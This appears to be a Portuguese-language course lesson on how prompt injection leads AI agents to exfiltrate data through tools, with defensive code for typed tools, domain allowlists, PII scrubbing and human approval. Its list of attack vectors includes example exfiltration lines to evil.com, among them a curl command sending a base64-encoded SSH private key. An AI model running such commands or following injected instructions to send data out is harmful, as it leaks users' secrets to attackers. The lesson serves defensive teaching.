Data exfiltration via tools: o vetor principal em agents
- ⬜🔓 Jailbreaks e prompt injection: taxonomia e defesas(AI Safety, Red Teaming & Alinhamento)
Recomendamos completar os pré-requisitos antes de seguir, mas nada te impede de continuar.
Por que exfiltration é O problema em agents
Agent é LLM + tools. Tools dão alcance real: HTTP, filesystem, banco, email. Prompt injection em conteúdo que o agent ingere pode manipular o agent a usar essas tools contra o dono. Exfiltração é a monetização imediata: atacante vaza dados, credentials ou lógica de negócio.
Vetores documentados
vetor_1_markdown_image:
descricao: "Agent renderiza markdown com <img>; cliente faz GET"
exemplo: ""
defesas:
- whitelist de domínios em renderer
- desabilitar image tag em contextos sensíveis
- CSP rígido no frontend
vetor_2_http_fetch_tool:
descricao: "Tool http_get é chamado com URL contendo dados vazados"
exemplo: agent chama http_get("https://evil.com/leak?db=" + senha_lida)
defesas:
- whitelist absoluta de domínios
- nunca passar secrets no context da tool
- log de toda URL chamada + alerta em domínios novos
vetor_3_shell_tool:
descricao: "Tool run_shell usada para curl/wget/dns lookup"
exemplo: agent executa "curl evil.com?d=$(cat ~/.ssh/id_rsa | base64)"
defesas:
- nunca expor shell genérico
- se necessário, sandbox read-only + network-off
- não rode tool shell em contexto com secrets no ambiente
vetor_4_email_tool:
descricao: "Tool send_email encaminha dados para destino do atacante"
exemplo: agent manda resumo de conversa para attacker@evil.com
defesas:
- whitelist de destinatários
- confirmação humana para destinatários novos
- limites de volume
vetor_5_dns_beacon:
descricao: "DNS resolve vaza via subdomain (ex: secret.attacker.com)"
exemplo: agent chama tool que faz DNS para "<senha>.evil.com"
defesas:
- egress firewall bloqueia DNS externo não-autorizado
- tools não devem aceitar hostname livreLeast privilege: o controle mais eficiente
A tentação é expor tools genéricas ("run_sql", "http_get", "exec_shell") porque cobrem tudo. Isso é bomba armada. Padrão correto é expor tools tipadas, com argumentos validados.
// ❌ RUIM — tool genérica, convite ao desastre
const run_sql = {
name: 'run_sql',
description: 'Run any SQL',
input_schema: { type: 'object', properties: { query: { type: 'string' } } },
};
// ✅ BOM — tools tipadas, validação de ownership
const get_order = {
name: 'get_order',
description: 'Retorna detalhes de um pedido do usuário logado',
input_schema: {
type: 'object',
properties: { order_id: { type: 'string', pattern: '^ORD-[0-9]{8}$' } },
required: ['order_id'],
},
};
async function handleToolCall(name: string, args: Record<string, unknown>, ctx: Session) {
if (name === 'get_order') {
const { order_id } = args as { order_id: string };
// Validação de schema JÁ feita pelo runtime, mas reforce ownership
const order = await db.orders.findFirst({
where: { id: order_id, user_id: ctx.userId },
});
if (!order) return { error: 'not_found' };
return order; // só expõe o que é do usuário
}
throw new Error('Unknown tool');
}Whitelist de domínios em fetch
Se agent precisa buscar conteúdo web, nunca exponha fetch livre. Whitelist explícita de domínios e bloqueio de IP literais e redirect.
const ALLOWED_HOSTS = new Set([
'docs.aws.amazon.com',
'developer.mozilla.org',
'nodejs.org',
]);
function isHostAllowed(url: string): boolean {
try {
const u = new URL(url);
if (u.protocol !== 'https:') return false;
// Bloqueia IP literal (SSRF interno)
if (/^\d+\.\d+\.\d+\.\d+$/.test(u.hostname)) return false;
if (u.hostname === 'localhost' || u.hostname.endsWith('.local')) return false;
return ALLOWED_HOSTS.has(u.hostname);
} catch { return false; }
}
async function safeFetch(url: string): Promise<string> {
if (!isHostAllowed(url)) throw new Error('Domain not allowed');
const resp = await fetch(url, { redirect: 'manual' }); // não siga redirect às cegas
if (resp.status >= 300 && resp.status < 400) throw new Error('Redirect blocked');
return (await resp.text()).slice(0, 100_000); // cap tamanho
}Por que a exfiltração de dados é considerada O problema central em agentes?
PII scrub: antes do log, sempre
Log é processamento de dados. Dados pessoais em log atravessam Datadog, Sentry, BigQuery — e cada um é vendor com breach potencial. Scrub é obrigação.
const PII_PATTERNS: Array<[RegExp, string]> = [
[/\b\d{3}\.\d{3}\.\d{3}-\d{2}\b/g, '<CPF>'],
[/\b\d{2}\.\d{3}\.\d{3}\/\d{4}-\d{2}\b/g, '<CNPJ>'],
[/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b/g, '<EMAIL>'],
[/\b(?:\d[ -]*?){13,19}\b/g, '<CARD>'],
[/\b\+?\d{2}\s?\(?\d{2}\)?\s?9?\d{4}-?\d{4}\b/g, '<PHONE>'],
];
export function scrubPII(text: string): string {
let out = text;
for (const [pat, repl] of PII_PATTERNS) out = out.replace(pat, repl);
return out;
}
// Uso em logger central
logger.info({ event: 'agent_reply', content: scrubPII(replyText), trace_id });Regex não é detector perfeito. Para dados estruturados (API responses), use allowlist de campos: nunca logue o objeto inteiro, logue só os campos seguros. Para texto livre, Microsoft Presidio ou AWS Comprehend PII dão cobertura melhor — use para audit trail sensível.
Confirmação humana em ações de alto impacto
Cobertura final: operações que movem dinheiro, deletam dados ou enviam comunicação externa passam por confirmação humana. Agent propõe, humano aprova.
const HIGH_IMPACT_TOOLS = new Set(['emit_refund', 'delete_user', 'send_external_email']);
async function runTool(name: string, args: unknown, ctx: Session) {
if (HIGH_IMPACT_TOOLS.has(name)) {
// Suspende execução, posta na UI para aprovação humana
const approval = await ctx.queue.requestApproval({ tool: name, args, agent_rationale: ctx.lastRationale });
if (!approval.granted) return { error: 'user_declined' };
}
return handleToolCall(name, args, ctx);
}Resumo
Exfiltration via tools é O vetor real em agents modernos. Defesa: tools tipadas com least privilege, whitelist de domínios em fetch, bloqueio de markdown image renderer em contexto sensível, PII scrub pré-log, confirmação humana em ações de alto impacto. Nunca exponha run_sql, exec_shell ou http_get livres — sempre a regra é "a menor superfície que resolve o problema".
Perguntas frequentes
❓ Como um agente vaza dado por ferramenta?
❓ Como impedir exfiltração de contexto?
❓ Agente com acesso somente de leitura é seguro?
Fixando
- → entra como dado
- → argumento com o conteúdo
- → bloqueado
- → antes de executar
- → reduz o que há para vazar
- Rede e entrega
- Conceito de arquitetura
- Integração de apps
- Armazenamento
- Segurança e identidade
Menor privilégio precisa valer para o que o agente ALCANÇA e para onde ele pode ENVIAR. A segunda metade é a que quase ninguém desenha.
- O dado não é roubado — é enviado. A instrução hostil convence o agente a colocar o conteúdo num argumento que sai. A permissão é legítima, então nada aparece como invasão.
- Qualquer ferramenta que sai é um canal. Requisição, mensagem, nome de arquivo. Agente somente de leitura com uma ferramenta de rede já tem canal de saída completo.
- Fechar o destino é a defesa mais forte. Lista de destinos permitidos corta o canal independentemente de quão convincente foi a instrução. É controle de capacidade, não de intenção.
- Validar argumento contra padrão esperado. Argumento que deveria ser um identificador e vem com um parágrafo é sinal claro. Barato de implementar e pega a tentativa evidente.
- O que não entra no contexto não vaza. Menor privilégio e nenhum segredo no contexto reduzem o que existe para exfiltrar. É a única defesa que funciona mesmo quando as outras falham.
Qual é o controle mais eficiente contra esse vetor?
Por que restringir os destinos de rede que o agente pode alcançar é uma medida valiosa?
Terminou de ler?
Marcar como concluído registra o XP, mantém sua sequência e coloca 3 cartas deste módulo na fila de revisão espaçada.
Próximos passos sugeridos
Temas deste módulo
Discussão
Carregando comentários…